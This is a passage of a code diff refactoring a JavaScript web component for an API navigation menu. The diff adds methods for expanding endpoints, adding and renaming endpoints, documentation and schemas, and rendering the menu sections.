-      // otherwise check all methods and only include matched methods. If none match
-      // then do not include endpoint.
-      const eMethods = endpoint.methods;
-      if (!eMethods || !eMethods.length) {
-        continue;
-      }
-      const methods = [];
-      for (let j = 0, mLen = eMethods.length; j < mLen; j++) {
-        const method = eMethods[j];
-        if (
-          (method.label || '').toLowerCase().indexOf(q) !== -1 ||
-          method.method.indexOf(q) !== -1
-        ) {
-          methods[methods.length] = method;
-        }
-      }
-      if (methods.length) {
-        const copy = { ...endpoint };
-        copy.methods = methods;
-        result[result.length] = copy;
+  /**
+   * Closes all sections of the menu and all endpoints.
+   */
+  collapseAll() {
+    this.endpointsOpened = false;
+    this.schemasOpened = false;
+    this.securityOpened = false;
+    this.documentationsOpened = false;
+    this.collapseAllEndpoints();
+  }
+
+  /**
+   * Opens all endpoints exposing all operations
+   */
+  expandAllEndpoints() {
+    this.endpointsOpened = true;
+    const items = /** @type HTMLInputElement[] */ (Array.from(this.shadowRoot.querySelectorAll('section.endpoints .list-item.endpoint')));
+    this[openedEndpointsValue] = [];
+    items.forEach((item) => {
+      const { graphId } = item.dataset;
+      if (graphId) {
+        this[openedEndpointsValue].push(graphId);
       }
-    }
-    return result;
+    });
+    this.requestUpdate();
   }
 
   /**
-   * Closes all `anypoint-collapse` elements
+   * Hides all operations and collapses all endpoints.
    */
-  [closeCollapses]() {
-    if (this[openedOperationsValue].length > 0) {
-      this[openedOperationsValue] = /** @type string[] */ ([]);
-      this.requestUpdate();
-    }
+  collapseAllEndpoints() {
+    this[openedEndpointsValue] = [];
+    this.requestUpdate();
   }
 
   /**
-   * A handler for the focus event on this element.
-   * @param {FocusEvent} e
+   * Triggers a flow when the user can define a new endpoint in the navigation.
+   * This renders an input in the view (in the endpoints list) where the user can enter the path name.
    */
-  [focusHandler](e) {
-    if (this[shiftTabPressed]) {
-      // do not focus the menu itself
-      return;
-    }
-    // @ts-ignore
-    const path = (e.composedPath && e.composedPath()) || e.path;
-    const rootTarget = path[0];
-    if (
-      rootTarget !== this &&
-      typeof rootTarget.tabIndex !== 'undefined' &&
-      !this.contains(rootTarget)
-    ) {
-      return;
-    }
-    this[focusedItemPrivate] = null;
-    if (this.selectedItem) {
-      this.selectedItem.focus();
-      this[focusedItemPrivate] = this.selectedItem;
-    } else {
-      this.focusNext();
+  async addEndpoint() {
+    if (!this.endpointsOpened) {
+      this.endpointsOpened = true;
+      await this.updateComplete;
     }
+    this[addingEndpointValue] = true;
+    await this.requestUpdate();
+    const wrap = this.shadowRoot.querySelector('.add-endpoint-input');
+    wrap.scrollIntoView();
+    const input = wrap.querySelector('input');
+    input.focus();
+    input.select();
   }
 
   /**
-   * Focuses on the previous item in the navigation.
+   * Triggers a flow when the user can define a new documentation document.
+   * This renders an input in the view (in the documentation list) where the user can enter the name.
+   * @param {boolean=} isExternal Whether the documentation is a link to a www document.
    */
-  focusPrevious() {
-    const items = this[listActiveItems]();
-    const { length } = items;
-    const curFocusIndex = items.indexOf(this[focusedItemPrivate]);
-    for (let i = 1; i < length + 1; i++) {
-      const item = items[(curFocusIndex - i + length) % length];
-      if (!item.hasAttribute('disabled')) {
-        const owner = (item.getRootNode && item.getRootNode()) || document;
-        this[focusedItemPrivate] = item;
-        // Focus might not have worked, if the element was hidden or not
-        // focusable. In that case, try again.
-        // @ts-ignore
-        if (owner.activeElement === item) {
-          return;
-        }
-      }
+  async addDocumentation(isExternal=false) {
+    if (!this.documentationsOpened) {
+      this.documentationsOpened = true;
     }
+    this[addingDocumentationValue] = true;
+    this[addingExternalValue] = isExternal;
+    await this.requestUpdate();
+    const selector = isExternal ? '.add-external-doc-input' : '.add-documentation-input';
+    const wrap = this.shadowRoot.querySelector(selector);
+    wrap.scrollIntoView();
+    const input = wrap.querySelector('input');
+    input.focus();
+    input.select();
   }
 
   /**
-   * Focuses on the next item in the navigation.
+   * Triggers a flow when the user can define a new schema in the navigation.
+   * This renders an input in the view (in the schema list) where the user can enter the schema name.
+   * @param {SchemaAddType=} type The type of the schema to add. Default to `object`.
    */
-  focusNext() {
-    const items = this[listActiveItems]();
-    const { length } = items;
-    const curFocusIndex = items.indexOf(this[focusedItemPrivate]);
-    for (let i = 1; i < length + 1; i++) {
-      const item = items[(curFocusIndex + i) % length];
-      if (!item.hasAttribute('disabled')) {
-        const owner = (item.getRootNode && item.getRootNode()) || document;
-        this[focusedItemPrivate] = item;
-        // Focus might not have worked, if the element was hidden or not
-        // focusable. In that case, try again.
-        // @ts-ignore
-        if (owner.activeElement === item) {
-          return;
-        }
-      }
+  async addSchema(type='object') {
+    if (!this.schemasOpened) {
+      this.schemasOpened = true;
     }
+    this[addingSchemaValue] = true;
+    this[addingSchemaTypeValue] = type;
+    await this.requestUpdate();
+    const wrap = this.shadowRoot.querySelector('.add-schema-input');
+    wrap.scrollIntoView();
+    const input = wrap.querySelector('input');
+    input.focus();
+    input.select();
   }
 
   /**
@@ -1651,574 +1374,887 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
   [resetTabindices]() {
     const { selectedItem } = this;
     const items = this[listActiveItems]();
-    items.forEach(item => {
-      item.setAttribute('tabindex', item === selectedItem ? '0' : '-1');
-    });
+    items.forEach((item) => item.setAttribute('tabindex', item === selectedItem ? '0' : '-1'));
   }
 
   /**
-   * Lists all HTML elements that are currently rendered in the view.
-   * @return {Element[]} Currently rendered items.
+   * Dispatches the navigation event.
+   * @param {string} id The domain id of the selected node
+   * @param {SelectionType} type The domain type.
    */
-  [listActiveItems]() {
-    if (this[itemsValue]) {
-      return this[itemsValue];
-    }
-    let result = [];
-    if (this.summary) {
-      const node = this.shadowRoot.querySelector('.list-item.summary');
+  [notifyNavigation](id, type) {
+    let parent;
+    if (type === 'operation' && id) {
+      const node = /** @type HTMLElement */ (this.shadowRoot.querySelector(`.operation[data-graph-id="${id}"]`));
       if (node) {
-        result[result.length] = node;
+        parent = node.dataset.graphParent;
       }
     }
-    if (this.hasEndpoints) {
-      const node = this.shadowRoot.querySelector('.endpoints .section-title');
-      if (node) {
-        result[result.length] = node;
-      }
-      let nodes;
-      if (this.noOverview) {
-        nodes = this.shadowRoot.querySelectorAll(
-          '.endpoints .list-item.endpoint .path-details,.endpoint-toggle-button'
-        );
-      } else {
-        nodes = this.shadowRoot.querySelectorAll(
-          '.endpoints .list-item.endpoint'
-        );
-      }
-      for (let i = 0; i < nodes.length; i++) {
-        const item = nodes[i];
-        result[result.length] = item;
-        const collapse = this.noOverview ? item.parentElement.nextElementSibling : item.nextElementSibling;
-        if (collapse.localName !== 'anypoint-collapse') {
-          continue;
-        }
-        if (!item.classList.contains('path-details')) {
-          const children = collapse.querySelectorAll('.list-item.operation');
-          if (children.length) {
-            result = result.concat(Array.from(children));
-          }
-        }
-      }
+    Events.Navigation.apiNavigate(this, id, type, parent);
+    Events.Telemetry.event(this, {
+      category: 'API navigation',
+      action: 'Navigate',
+      label: type,
+    });
+  }
+
+  /**
+   * Event handler for the keydown event of the add endpoint input.
+   * @param {KeyboardEvent} e
+   */
+  [addEndpointKeydownHandler](e) {
+    if (e.key === 'Enter' || e.key === 'NumpadEnter') {
+      e.preventDefault();
+      this[commitNewEndpoint]();
+    } else if (e.key === 'Escape') {
+      e.preventDefault();
+      this[cancelNewEndpoint]();
     }
-    if (this.hasDocs) {
-      const children = this[listSectionActiveNodes]('.documentation');
-      result = result.concat(Array.from(children));
+  }
+
+  /**
+   * Event handler for the keydown event of the add documentation input.
+   * @param {KeyboardEvent} e
+   */
+  [addDocumentationKeydownHandler](e) {
+    if (e.key === 'Enter' || e.key === 'NumpadEnter') {
+      e.preventDefault();
+      const input = /** @type HTMLInputElement */ (e.target);
+      this[commitNewDocumentation](input.value);
+    } else if (e.key === 'Escape') {
+      e.preventDefault();
+      this[addingDocumentationValue] = false;
+      this[addingExternalValue] = undefined;
+      this.requestUpdate();
+    }
+  }
+
+  /**
+   * Event handler for the keydown event of the add schema input.
+   * @param {KeyboardEvent} e
+   */
+  [addSchemaKeydownHandler](e) {
+    if (e.key === 'Enter' || e.key === 'NumpadEnter') {
+      e.preventDefault();
+      const input = /** @type HTMLInputElement */ (e.target);
+      this[commitNewSchema](input.value);
+    } else if (e.key === 'Escape') {
+      e.preventDefault();
+      this[addingSchemaValue] = false;
+      this[addingSchemaTypeValue] = undefined;
+      this.requestUpdate();
     }
-    if (this.hasTypes) {
-      const children = this[listSectionActiveNodes]('.types');
-      result = result.concat(Array.from(children));
+  }
+
+  async [commitNewEndpoint]() {
+    const input = /** @type HTMLInputElement */ (this.shadowRoot.querySelector('.add-endpoint-input input'))
+    if (!input) {
+      return;
+    }
+    const name = input.value.trim();
+    if (!name) {
+      return;
+    }
+    // await Events.Endpoint.add(this, { path: name });
+    await this[cancelNewEndpoint]();
+  }
+
+  async [cancelNewEndpoint]() {
+    this[addingEndpointValue] = false;
+    await this.requestUpdate();
+  }
+
+  /**
+   * @param {string} value The title of the documentation.
+   */
+  async [commitNewDocumentation](value='') {
+    const name = value.trim();
+    if (!name) {
+      return;
     }
-    if (this.hasSecurity) {
-      const children = this[listSectionActiveNodes]('.security');
-      result = result.concat(Array.from(children));
+    const opts = { title: name };
+    const isExternal = this[addingExternalValue];
+    if (isExternal) {
+      const input = /** @type HTMLInputElement */ (this.shadowRoot.querySelector('.add-external-doc-input input'))
+      opts.url = input.value;
     }
-    this[itemsValue] = result.length ? result : undefined;
-    return result;
+    this[addingDocumentationValue] = false;
+    this[addingExternalValue] = undefined;
+    // await Events.Documentation.add(this, opts);
+    this.requestUpdate();
   }
 
   /**
-   * @param {string} selector The prefix for the query selector
-   * @return {Element[]} Nodes returned from query function.
+   * @param {string} value The name of the schema.
    */
-  [listSectionActiveNodes](selector) {
-    let result = [];
-    const node = this.shadowRoot.querySelector(`${selector} .section-title`);
-    if (node) {
-      result[result.length] = node;
-      const collapse = node.nextElementSibling;
-      if (collapse) {
-        const children = collapse.querySelectorAll('.list-item');
-        if (children.length) {
-          result = result.concat(Array.from(children));
-        }
-      }
+  async [commitNewSchema](value='') {
+    const name = value.trim();
+    if (!name) {
+      return;
     }
-    return result;
+    const type = this[addingSchemaTypeValue];
+    const opts = { name };
+
+    switch (type) {
+      case 'object': opts.type = ns.w3.shacl.NodeShape; break;
+      case 'scalar': opts.type = ns.aml.vocabularies.shapes.ScalarShape; break;
+      case 'array': opts.type = ns.aml.vocabularies.shapes.ArrayShape; break;
+      case 'file': opts.type = ns.aml.vocabularies.shapes.FileShape; break;
+      case 'union': opts.type = ns.aml.vocabularies.shapes.UnionShape; break;
+      default:
+    }
+    this[addingSchemaValue] = false;
+    this[addingSchemaTypeValue] = undefined;
+    // await Events.Type.add(this, opts);
+    this.requestUpdate();
   }
 
   /**
-   * Handler for the keydown event.
-   * @param {KeyboardEvent} e
+   * Triggers a rename action for the menu item identified by the `id`.
+   * @param {string} id The domain id of the item to edit.
    */
-  [keydownHandler](e) {
-    if (e.key === 'ArrowDown') {
-      this[onDownKey](e);
-    } else if (e.key === 'ArrowUp') {
-      this[onUpKey](e);
-    } else if (e.key === 'Tab' && e.shiftKey) {
-      this[onShiftTabDown]();
-    } else if (e.key === 'Escape') {
-      this[onEscKey]();
-    } else if (e.key === ' ' || e.code === 'Space') {
-      this[onSpace](e);
-    } else if (e.key === 'Enter' || e.key === 'NumpadEnter') {
-      this[onSpace](e);
+  async renameAction(id) {
+    const item = this[findViewModelItem](id);
+    if (!item) {
+      return;
     }
-    e.stopPropagation();
+    item.nameEditor = true;
+    await this.requestUpdate();
+    const input = /** @type HTMLInputElement */ (this.shadowRoot.querySelector(`input[data-id="${id}"]`));
+    input.select();
+    input.focus();
   }
 
   /**
-   * Handler that is called when the up key is pressed.
-   *
-   * @param {KeyboardEvent} e A key combination event.
+   * @param {string} id The domain id of the item to find.
+   * @returns {SelectableMenuItem & EditableMenuItem | null}
    */
-  [onUpKey](e) {
-    this.focusPrevious();
-    e.preventDefault();
+  [findViewModelItem](id) {
+    const endpoints = this[endpointsValue];
+    if (endpoints && endpoints.length) {
+      for (let i = 0, len = endpoints.length; i < len; i++) {
+        const endpoint = endpoints[i];
+        if (endpoint.id === id) {
+          return endpoint;
+        }
+        const operation = endpoint.operations.find((op) => op.id === id);
+        if (operation) {
+          return operation;
+        }
+      }
+    }
+    const docs = this[documentationsValue];
+    if (docs && docs.length) {
+      const doc = docs.find((item) => item.id === id);
+      if (doc) {
+        return doc;
+      }
+    }
+    const schemas = this[schemasValue];
+    if (schemas && schemas.length) {
+      const schema = schemas.find((item) => item.id === id);
+      if (schema) {
+        return schema;
+      }
+    }
+    return null;
   }
 
   /**
-   * Handler that is called when the down key is pressed.
-   *
-   * @param {KeyboardEvent} e A key combination event.
+   * A key down event handler on the rename input
+   * @param {KeyboardEvent} e
    */
-  [onDownKey](e) {
-    e.preventDefault();
+  async [renameKeydownHandler](e) {
+    // do not interfere with the navigation logic.
     e.stopPropagation();
-    this.focusNext();
+    if (!['Enter', 'NumpadEnter', 'Escape'].includes(e.code)) {
+      return;
+    }
+    e.preventDefault();
+    const input = /** @type HTMLInputElement */ (e.target);
+    const { value, dataset } = input;
+    const { id, type } = dataset;
+    const item = this[findViewModelItem](id);
+    if (!item) {
+      return;
+    }
+    item.nameEditor = false;
+    this.requestUpdate();
+    if (e.code === 'Escape') {
+      return;
+    }
+    await this[updateNameHandler](id, value, /** @type SelectionType */ (type));
   }
 
   /**
-   * Handler that is called when the esc key is pressed.
+   * A blur event handler on the rename input
+   * @param {Event} e
    */
-  [onEscKey]() {
-    const { focusedItem } = this;
-    if (focusedItem) {
-      focusedItem.blur();
+  async [renameBlurHandler](e) {
+    const input = /** @type HTMLInputElement */ (e.target);
+    const { value, dataset } = input;
+    const { id, type } = dataset;
+    const item = this[findViewModelItem](id);
+    if (!item) {
+      return;
     }
+    item.nameEditor = false;
+    this.requestUpdate();
+    await this[updateNameHandler](id, value, /** @type SelectionType */ (type));
   }
 
   /**
-   * A handler for the space bar key down.
-   * @param {KeyboardEvent} e
+   * Updates the name or the display name of the menu object
+   * @param {string} id The id of the domain object to update
+   * @param {string} value The new value.
+   * @param {SelectionType} type The object type
+   * @returns {Promise<void>} A promise when the update operation finish.
    */
-  [onSpace](e) {
-    e.preventDefault();
-    e.stopPropagation();
-    // @ts-ignore
-    const path = (e.composedPath && e.composedPath()) || e.path;
-    const target = /** @type HTMLElement */ (path && path[0]);
-    if (!target) {
+  async [updateNameHandler](id, value, type) {
+    const updateValue = value.trim();
+    if (!updateValue) {
       return;
     }
-    const { classList } = target;
-    if (classList.contains('section-title')) {
-      this[toggleSection](target);
-    } else if (
-      classList.contains('list-item') &&
-      classList.contains('endpoint')
-    ) {
-      this.toggleOperations(target.dataset.endpointId);
-    } else if (classList.contains('list-item')) {
-      this[selectItem](target);
+    const promise = Promise.reject(new Error(`APi editing of ${type} ${id} is not yet supported`));
+    // let promise;
+    // if (type === 'SelectionType') {
+    //   promise = Events.Endpoint.update(this, id, 'name', updateValue);
+    // } else if (type === 'operation') {
+    //   promise = Events.Operation.update(this, id, 'name', updateValue);
+    // } else if (type === 'documentation') {
+    //   const obj = await StoreEvents.Documentation.get(this, id);
+    //   const prop = obj.title ? 'title' : 'description';
+    //   promise = Events.Documentation.update(this, id, prop, updateValue);
+    // } else if (type === 'schema') {
+    //   const obj = await StoreEvents.Type.get(this, id);
+    //   const { displayName } = obj;
+    //   const prop = displayName ? 'displayName' : 'name';
+    //   promise = Events.Type.update(this, id, prop, updateValue);
+    // }
+    try {
+      await promise;
+    } catch (e) {
+      Events.Reporting.error(this, e, `Unable rename object: ${e.message}`, 'graph-api-navigation');
     }
   }
 
   /**
-   * Handler that is called when a shift+tab keypress is detected by the menu.
+   * Click handler for the external navigation item.
+   * Dispatches the external navigation event. When this event is handled (cancelled)
+   * the original event is cancelled to prevent default behavior.
+   * @param {Event} e
    */
-  [onShiftTabDown]() {
-    const oldTabIndex = this.getAttribute('tabindex');
-    this[shiftTabPressed] = true;
-    this[focusedItemPrivate] = null;
-    this.setAttribute('tabindex', '-1');
-    setTimeout(() => {
-      this.setAttribute('tabindex', oldTabIndex);
-      this[shiftTabPressed] = false;
-    }, 1);
+  [externalDocumentationHandler](e) {
+    const a = /** @type HTMLAnchorElement  */ (e.currentTarget);
+    const handled = Events.Navigation.navigateExternal(this, a.href);
+    if (handled) {
+      cancelEvent(e);
+    }
   }
 
   render() {
-    const { styles } = this;
     return html`
-    <style>${styles}</style>
     <div class="wrapper" role="menu" aria-label="Navigate the API">
+      ${this[filterTemplate]()}
       ${this[summaryTemplate]()}
-      ${this[endpointsTemplate]()} 
-      ${this[documentationTemplate]()}
-      ${this[typesTemplate]()} 
-      ${this[securityTemplate]()}
-    </div> `;
+      ${this[endpointsTemplate]()}
+      ${this[documentationsTemplate]()}
+      ${this[schemasTemplate]()}
+      ${this[securitiesTemplate]()}
+    </div>
+    `;
   }
 
   /**
-   * @return {TemplateResult|string} The template for the summary entry.
+   * @return {TemplateResult|string} The template for the summary filed.
    */
   [summaryTemplate]() {
-    if (!this.summaryRendered) {
+    const { summary, summaryLabel, documentMeta } = this;
+    if (!summary || !summaryLabel || !documentMeta || documentMeta.isFragment) {
       return '';
     }
+    const selected = this[summarySelected];
+    const classes = {
+      'list-item': true,
+      summary: true,
+      selected,
+    };
     return html`
     <section class="summary">
-      <div
-        part="api-navigation-list-item"
-        class="list-item summary"
+      <div 
+        part="api-navigation-list-item" 
+        class="${classMap(classes)}"
         role="menuitem"
-        tabindex="0"
-        data-api-id="summary"
-        data-shape="summary"
+        tabindex="-1"
+        data-graph-id="summary"
+        data-graph-shape="summary"
         @click="${this[itemClickHandler]}"
       >
-        ${this.summaryLabel}
+        ${summaryLabel}
       </div>
     </section>
     `;
   }
 
   /**
-   * Renders a template for endpoints and methods list.
-   * @return {TemplateResult|string}
+   * @return {TemplateResult|string} The template for the list of endpoints.
    */
   [endpointsTemplate]() {
-    if (!this.hasEndpoints) {
+    const { edit } = this;
+    if (!this.hasEndpoints && !edit) {
       return '';
     }
     const items = this[getFilteredEndpoints]();
-    if (!items || !items.length) {
+    const hasItems = !!items && !!items.length;
+    if (!hasItems && !edit) {
       return '';
     }
-
-    const sectionLabel = this._isWebAPI(this.amf) ? 'Endpoints' : 'Channels';
-    const lowercaseSectionLabel = sectionLabel.toLowerCase();
-
-    return html` <section
-      class="endpoints"
-      ?data-opened="${this.endpointsOpened}"
+    const { endpointsOpened, documentMeta } = this;
+    const toggleState = endpointsOpened ? 'Expanded' : 'Collapsed';
+    const sectionLabel = documentMeta && documentMeta.isAsync ? 'Channels' : 'Endpoints';
+    const classes = {
+      endpoints: true,
+      opened: endpointsOpened,
+    };
+    const addingEndpoint = this[addingEndpointValue];
+    const showEmpty = !hasItems && !addingEndpoint;
+    return html`
+    <section
+      class="${classMap(classes)}"
     >
       <div
         class="section-title"
+        data-property="endpointsOpened"
         data-section="endpoints"
-        @click="${this[toggleSectionHandler]}"
-        title="Toggle ${lowercaseSectionLabel} list"
+        @click="${this[toggleSectionClickHandler]}"
+        @keydown="${this[toggleSectionKeydownHandler]}"
+        title="Toggle the list"
         aria-haspopup="true"
         role="menuitem"
       >
         <div class="title-h3">${sectionLabel}</div>
         <anypoint-icon-button
           part="toggle-button"
-          class="toggle-button"
-          aria-label="Toggle ${lowercaseSectionLabel}"
-          .noink="${this.noink}"
+          class="toggle-button section"
+          aria-label="Toggle the list"
           ?anypoint="${this.anypoint}"
           tabindex="-1"
-          data-toggle="endpoints"
         >
-          <span class="icon">${keyboardArrowDown}</span>
+          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
         </anypoint-icon-button>
       </div>
       <anypoint-collapse
-        .opened="${this.endpointsOpened}"
-        aria-hidden="${this.endpointsOpened ? 'false' : 'true'}"
+        .opened="${endpointsOpened}"
+        aria-hidden="${endpointsOpened ? 'false' : 'true'}"
         role="menu"
       >
         <div class="children">
-          ${items.map(item => this[endpointTemplate](item))}
+          ${addingEndpoint ? this[addEndpointInputTemplate]() : ''}
+          ${hasItems ? items.map((item) => this[endpointTemplate](item)) : ''}
+          ${showEmpty ? html`<p class="empty-section">No endpoints in this API</p>` : ''}
         </div>
       </anypoint-collapse>
-    </section>`;
+    </section>
+    `;
   }
 
   /**
    * @param {EndpointItem} item
-   * @return {TemplateResult|string} Template for an endpoint overview.
+   * @return {TemplateResult} The template for an endpoint.
    */
-  [overviewTemplate](item) {
-    if (this.noOverview) {
-      return '';
-    }
-    const style = /** @type string */ (this[computeMethodPadding](item.indent, this.indentSize));
+  [endpointTemplate](item) {
+    const { indent, operations, label, path, id, selected, secondarySelected, nameEditor } = item;
+    const itemStyles = {
+      paddingLeft: this[computeEndpointPaddingValue](indent),
+    };
+    const renderChildren = Array.isArray(operations) && !!operations.length;
+    const opened = renderChildren && this[openedEndpointsValue].includes(id);
+    const classes = {
+      'list-item': true,
+      'endpoint': true,
+      opened,
+      selected, 
+      secondarySelected,
+    };
     return html`
     <div
       part="api-navigation-list-item"
-      class="list-item operation"
-      role="menuitem"
-      tabindex="0"
-      data-api-id="${item.id}"
-      data-shape="resource"
-      data-endpoint-overview="${item.path}"
+      class="${classMap(classes)}"
+      data-path="${path}"
+      data-graph-id="${id}"
+      data-graph-shape="resource"
       @click="${this[itemClickHandler]}"
-      style="${style}"
+      title="Open this endpoint"
+      style="${styleMap(itemStyles)}"
+      role="menuitem"
+      aria-haspopup="true"
     >
-      Overview
-    </div>`
+      ${nameEditor ? 
+        this[renameInputTemplate](id, label, 'resource') 
+        : html`
+        ${renderChildren ?  this[endpointToggleTemplate](id): html`<div class="endpoint-toggle-mock"></div>`}
+        <div class="endpoint-name">${label}</div>
+        `
+      }
+    </div>
+    ${renderChildren ? html`
+      <anypoint-collapse
+        part="api-navigation-operation-collapse"
+        class="operation-collapse"
+        data-graph-id="${id}"
+        role="menu"
+        .opened="${opened}"
+      >
+        ${item.operations.map((op) => this[operationItemTemplate](item, op))}
+      </anypoint-collapse>
+    ` : ''}
+    `;
   }
 
   /**
-   * @param {EndpointItem} item
-   * @return {TemplateResult} Template for an endpoint path.
-   */
-  [endpointPathTemplate](item) {
-    const { noOverview } = this;
-    return html`<div class="path-details">
-        ${noOverview ?
-      html`<div class="endpoint-name-overview" @click="${this[itemClickHandler]}" data-api-id="${item.id}" data-shape="resource">${item.label}</div>`
-      : html`<div class="endpoint-name">${item.label}</div>`}
-        ${computeRenderPath(this.allowPaths, item.renderPath)
-      ? html`<div class="path-name">${item.path}</div>`
-      : undefined}
-      </div>`;
-  }
-
-    /**
-   * @param {EndpointItem} item
-   * @return {TemplateResult} Template for an endpoint item.
+   * @param {string} id The domain id of the endpoint.
+   * @return {TemplateResult} The template for an endpoint toggle button.
    */
-  [endpointTemplate](item) {
-    const isEndpointOpened = this[openedOperationsValue].includes(item.id);
+  [endpointToggleTemplate](id) {
     return html`
-    <div
-      part="api-navigation-list-item"
-      class="list-item endpoint"
-      data-endpoint-id="${item.id}"
-      data-endpoint-path="${item.path}"
-      ?data-endpoint-opened="${isEndpointOpened}"
-      @click="${this[toggleEndpointDocumentation]}"
-      title="Toggle endpoint documentation"
-      style="${/** @type string */ (this[computeEndpointPadding](item.indent, this.indentSize))}"
-      role="menuitem"
-      aria-haspopup="true"
-    >
-      ${this[endpointPathTemplate](item)}
-      <anypoint-icon-button
-        part="api-navigation-endpoint-toggle-button toggle-button"
-        class="endpoint-toggle-button"
-        aria-label="Toggle endpoint"
-        .noink="${this.noink}"
-        ?anypoint="${this.anypoint}"
-        tabindex="-1"
-        @click="${this[toggleEndpointButton]}"
-      >
-        <span class="icon">${keyboardArrowDown}</span>
-      </anypoint-icon-button>
-    </div>
-    <anypoint-collapse
-      part="api-navigation-operation-collapse"
-      class="operation-collapse"
-      data-api-id="${item.id}"
-      ?data-endpoint-opened="${isEndpointOpened}"
-      role="menu"
-      .opened="${isEndpointOpened}"
+    <anypoint-icon-button 
+      class="toggle-button endpoint" 
+      aria-label="Toggle the list of operations" 
+      ?anypoint="${this.anypoint}" 
+      tabindex="-1"
+      data-graph-id="${id}"
+      @click="${this[endpointToggleClickHandler]}"
     >
-      ${this[overviewTemplate](item)}
-      ${item.methods.map(methodItem =>
-        this[methodTemplate](item, methodItem)
-      )}
-    </anypoint-collapse>`;
+      <arc-icon icon="arrowDropDown"></arc-icon>
+    </anypoint-icon-button>`;
   }
 
   /**
-   * @param {EndpointItem} endpointItem
-   * @param {MethodItem} operation
-   * @return {TemplateResult}
+   * @param {EndpointItem} item The endpoint definition 
+   * @param {OperationItem} op The operation definition.
+   * @return {TemplateResult} The template for an operation list item.
    */
-  [methodTemplate](endpointItem, operation) {
-    const style = /** @type string */ (this[computeMethodPadding](endpointItem.indent, this.indentSize));
-    return html`<div
+  [operationItemTemplate](item, op) {
+    const { id, name, method, selected, secondarySelected, nameEditor } = op;
+    const itemStyles = {
+      paddingLeft: this[computeOperationPaddingValue](item.indent),
+    };
+    const classes = {
+      'list-item': true,
+      operation: true,
+      selected, 
+      secondarySelected,
+    };
+    return html`
+    <div
       part="api-navigation-list-item"
-      class="list-item operation"
+      class="${classMap(classes)}"
       role="menuitem"
-      tabindex="0"
-      data-api-id="${operation.id}"
-      data-parent-id="${endpointItem.id}"
-      data-shape="operation"
+      tabindex="-1"
+      data-graph-parent="${item.id}"
+      data-graph-id="${id}"
+      data-graph-shape="operation"
+      data-operation="${method}"
       @click="${this[itemClickHandler]}"
-      style="${style}"
+      style="${styleMap(itemStyles)}"
     >
-      <span class="method-label" data-method="${operation.method}"
-        >${operation.method}</span
-      >
-      ${operation.label}
-    </div>`;
+      ${nameEditor ? 
+        this[renameInputTemplate](id, name, 'operation') 
+        : html`
+        <span class="method-label" data-method="${method}">${method}</span>
+        ${name}
+        `
+      }
+    </div>
+    `;
   }
 
   /**
-   * Renders a template for documentation list.
-   * @return {TemplateResult|string}
+   * @return {TemplateResult|string} The template for the documentations section.
    */
-  [documentationTemplate]() {    
-    if (!this.hasDocs) {
+  [documentationsTemplate]() {
+    const { edit } = this;
+    const items = this[getFilteredDocumentations]();
+    if (!items.length && !edit) {
       return '';
     }
-    const items = /** @type DocumentationItem[] */ (this[getFilteredType](this[docsValue]));
-    if (!items || !items.length) {
-      return '';
-    }
-
+    const { documentationsOpened } = this;
+    const classes = {
+      documentation: true,
+      opened: documentationsOpened,
+    };
+    const toggleState = documentationsOpened ? 'Expanded' : 'Collapsed';
+    const addingDocumentation = this[addingDocumentationValue];
+    const showItems = !!items.length;
+    const showEmpty = !showItems && !addingDocumentation;
     return html`
-      <section class="documentation" ?data-opened="${this.docsOpened}">
-        <div
-          class="section-title"
-          data-section="docs"
-          @click="${this[toggleSectionHandler]}"
-          title="Toggle documentation list"
+    <section
+      class="${classMap(classes)}"
+    >
+      <div
+        class="section-title"
+        data-property="documentationsOpened"
+        data-section="documentations"
+        @click="${this[toggleSectionClickHandler]}"
+        @keydown="${this[toggleSectionKeydownHandler]}"
+        title="Toggle the list"
+        aria-haspopup="true"
+        role="menuitem"
+      >
+        <div class="title-h3">Documentation</div>
+        <anypoint-icon-button
+          part="toggle-button"
+          class="toggle-button section"
+          aria-label="Toggle the list"
+          ?anypoint="${this.anypoint}"
+          tabindex="-1"
         >
-          <div class="title-h3">Documentation</div>
-          <anypoint-icon-button
-            part="toggle-button"
-            class="toggle-button"
-            noink="${this.noink}"
-            @click="${this[itemClickHandler]}"
-            aria-label="Toggle documents"
-            ?anypoint="${this.anypoint}"
-            tabindex="-1"
-          >
-            <span class="icon">${keyboardArrowDown}</span>
-          </anypoint-icon-button>
+          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
+        </anypoint-icon-button>
+      </div>
+      <anypoint-collapse .opened="${documentationsOpened}">
+        <div class="children">
+          ${addingDocumentation ? this[addDocumentationInputTemplate]() : ''}
+          ${showItems ? items.map((item) => this[documentationTemplate](item)) : ''}
+          ${showEmpty ? html`<p class="empty-section">No documentations in this API</p>` : ''}
         </div>
-        <anypoint-collapse .opened="${this.docsOpened}">
-          <div class="children">
-            ${items.map(item => this[documentationItemTemplate](item))}
-          </div>
-        </anypoint-collapse>
-      </section>
+      </anypoint-collapse>
+    </section>
     `;
   }
 
   /**
    * @param {DocumentationItem} item
-   * @return {TemplateResult} Template for an docs item
-   */
-  [documentationItemTemplate](item) {
-    if (item.isExternal) {
-      return html`<a
-        href="${item.url}"
-        target="_blank"
-        part="api-navigation-list-item"
-        class="list-item"
-        tabindex="0"
-        data-api-id="${item.id}"
-        data-shape="documentation"
-      >
-        ${item.label}
-        <span class="icon new-tab" title="Opens in a new tab"
-          >${openInNew}</span
-        >
-      </a>`;
+   * @return {TemplateResult} The template for the documentation list item.
+   */
+  [documentationTemplate](item) {
+    if (item.url) {
+      return this[externalDocumentationTemplate](item);
+    }
+    const { title, id, selected, secondarySelected, nameEditor } = item;
+    const classes = {
+      'list-item': true,
+      documentation: true,
+      selected, 
+      secondarySelected,
     }
     return html`<div
       part="api-navigation-list-item"
-      class="list-item"
+      class="${classMap(classes)}"
       role="menuitem"
-      tabindex="0"
-      data-api-id="${item.id}"
-      data-shape="documentation"
+      tabindex="-1"
+      data-graph-id="${id}"
+      data-graph-shape="documentation"
       @click="${this[itemClickHandler]}"
     >
-      ${item.label}
+      ${nameEditor ? this[renameInputTemplate](id, title, 'documentation') : title}
     </div>`;
   }
 
   /**
-   * Renders a template for types list.
-   * @return {TemplateResult|string}
+   * @param {DocumentationItem} item
+   * @return {TemplateResult} The template for the external documentation list item.
+   */
+  [externalDocumentationTemplate](item) {
+    const { title, description, url, id, selected, secondarySelected, nameEditor } = item;
+    const label = title || description;
+    const classes = {
+      'list-item': true,
+      documentation: true,
+      selected, 
+      secondarySelected,
